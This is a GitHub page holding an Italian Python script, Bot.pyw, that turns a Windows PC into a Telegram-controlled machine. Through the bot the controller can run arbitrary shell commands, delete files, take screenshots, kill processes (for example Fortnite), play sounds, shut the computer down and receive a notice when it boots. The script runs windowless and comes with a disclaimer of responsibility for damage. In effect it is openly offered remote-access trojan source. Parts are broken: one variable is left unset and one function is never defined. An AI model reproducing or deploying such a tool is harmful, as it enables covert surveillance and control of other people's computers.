-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathBot.pyw
More file actions
151 lines (134 loc) · 4.69 KB
/
Bot.pyw
File metadata and controls
151 lines (134 loc) · 4.69 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
"""
Attenzione, usando questo codice ti assumi la
responsabilità dei danni che puoi provocare.
Io, Davide Galilei, non mi assumo alcuna
responsabilità dell'uso che ne sarà fatto.
"""
apiId = # Lo puoi trovare su my.telegram.org/apps
apiHash = "" # Idem per apiId
admin = [] # Il tuo id di telegram
botToken = "" # Il token del bot che puoi trovare da @BotFather
start_message = (":) fai /help") # Messaggio iniziale
import os
import time
from pyrogram import Client, Filters
from pygame import mixer
import psutil
import pyscreenshot as ImageGrab
import random
start = """Sciao, ecco i comandi:
Spegni il pc /spegni
Check status /status
Killa fortnite /killfort
Kill epic launcher /killepic
Screenshot del pc /screenshot
Killa un processo:
€nomeprocesso secondi
Fai partire un suono:
!nomesuono secondi
Esegui un comando:
&secondi comando
Rimuovi un file:
-percorsofile
Invia un immagine con un caption (perc. file) per scaricarla.
:)"""
def greenSquare():
return u'\U00002705'
def redSquare():
return u'\U0000274C'
def notifyTelegramPoint():
bot.send_message(admin[0], 'Fatto :)))))')
def checkIfProcessRunning(processName):
for proc in psutil.process_iter():
try:
if processName.lower() in proc.name().lower():
return True
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
pass
return False;
def killFortnite():
if(fortniteRunning()):
os.system("taskkill /f /im FortniteClient-Win64-Shipping.exe")
def fortniteRunning():
return checkIfProcessRunning("FortniteClient-Win64-Shipping.exe")
def killFortniteLauncher():
if(fortniteLauncherRunning()):
os.system("taskkill /f /im EpicGamesLauncher.exe")
def fortniteLauncherRunning():
return checkIfProcessRunning("EpicGamesLauncher.exe")
def status():
status = "Ecco lo stato:\n"
if(fortniteLauncherRunning()):
status = (status + "Epic Launcher " + greenSquare() + "\n")
else:
status = (status + "Epic Launcher " + redSquare() + "\n")
if (fortniteRunning()):
status = (status + "Fortnite " + greenSquare() + "\n")
else:
status = (status + "Fortnite " + redSquare() + "\n")
bot.send_message(admin[0], status)
bot = Client(
":memory:",
api_id=apiId,
api_hash=apiHash,
bot_token=botToken,
workers=10)
@bot.on_message(Filters.user(admin) & Filters.text)
def run(Client, msg):
text = msg['text']
if not (msg.chat.id == admin[0]):
bot.send_message(admin[0], "Questo bot è privato.")
bot.send_message(admin[0], "qualcuno mi ha contattato, ecco le sue info:\n%s" %msg.chat.id)
elif(text == '/status'):
status()
notifyTelegramPoint()
elif (text == '/start'):
bot.send_message(admin[0], start)
elif(text == '/spegni'):
bot.send_message(admin[0], "Sto spegnendo...")
shutdownPc()
notifyTelegramPoint()
elif(text[0:9] == '/killfort'):
time.sleep(int(text[10:]))
killFortnite()
notifyTelegramPoint()
elif(text == '/screenshot'):
im = ImageGrab.grab()
im.save('screenshot.png')
bot.send_photo(admin[0], "screenshot.png")
os.remove("screenshot.png")
notifyTelegramPoint()
elif(text[0] == '€'): #Killa un processo
temp = text.split()
time.sleep(int(temp[1]))
bot.send_message(admin[0], "Killo: %s" %temp[0][1:])
os.system("taskkill /f /im " + temp[0][1:])
elif(text[0] == '!'): #Fa partire un suono
temp = text.split()
time.sleep(int(temp[1]))
bot.send_message(admin[0], "Suono: %s" %temp[0][1:])
mixer.init()
mixer.music.load(r"%s" %temp[0][1:])
mixer.music.play()
elif(text[0] == '&'): #Esegue un comando
temp = text.split()
time.sleep(int(temp[0][1:]))
temp2 = [temp[i+1] for i in range(len(temp)-1)]
temp2 = (r"%s" %" ".join(temp2))
bot.send_message(admin[0], "Eseguo: %s" %temp2)
os.system(r"%s" %temp2)
elif(text[0] == '-'):
bot.send_message(admin[0], "Rimuovo: %s" %text[1:])
os.remove(r"%s" %text[1:])
else:
bot.send_message(admin[0], start)
@bot.on_message(Filters.user(admin) & Filters.media) #Serve per far scaricare file al bot quando li riceve
def download(Client, msg):
text = msg.caption
msg.download(text)
bot.run()
startAlert = 0
while (startAlert == 0):
time.sleep(120) #Aspetta 2 minuti prima di avvisare, per essere sicuri che pyrogram sia partito
bot.send_message(admin[0], "Computer avviato.")
startAlert = 1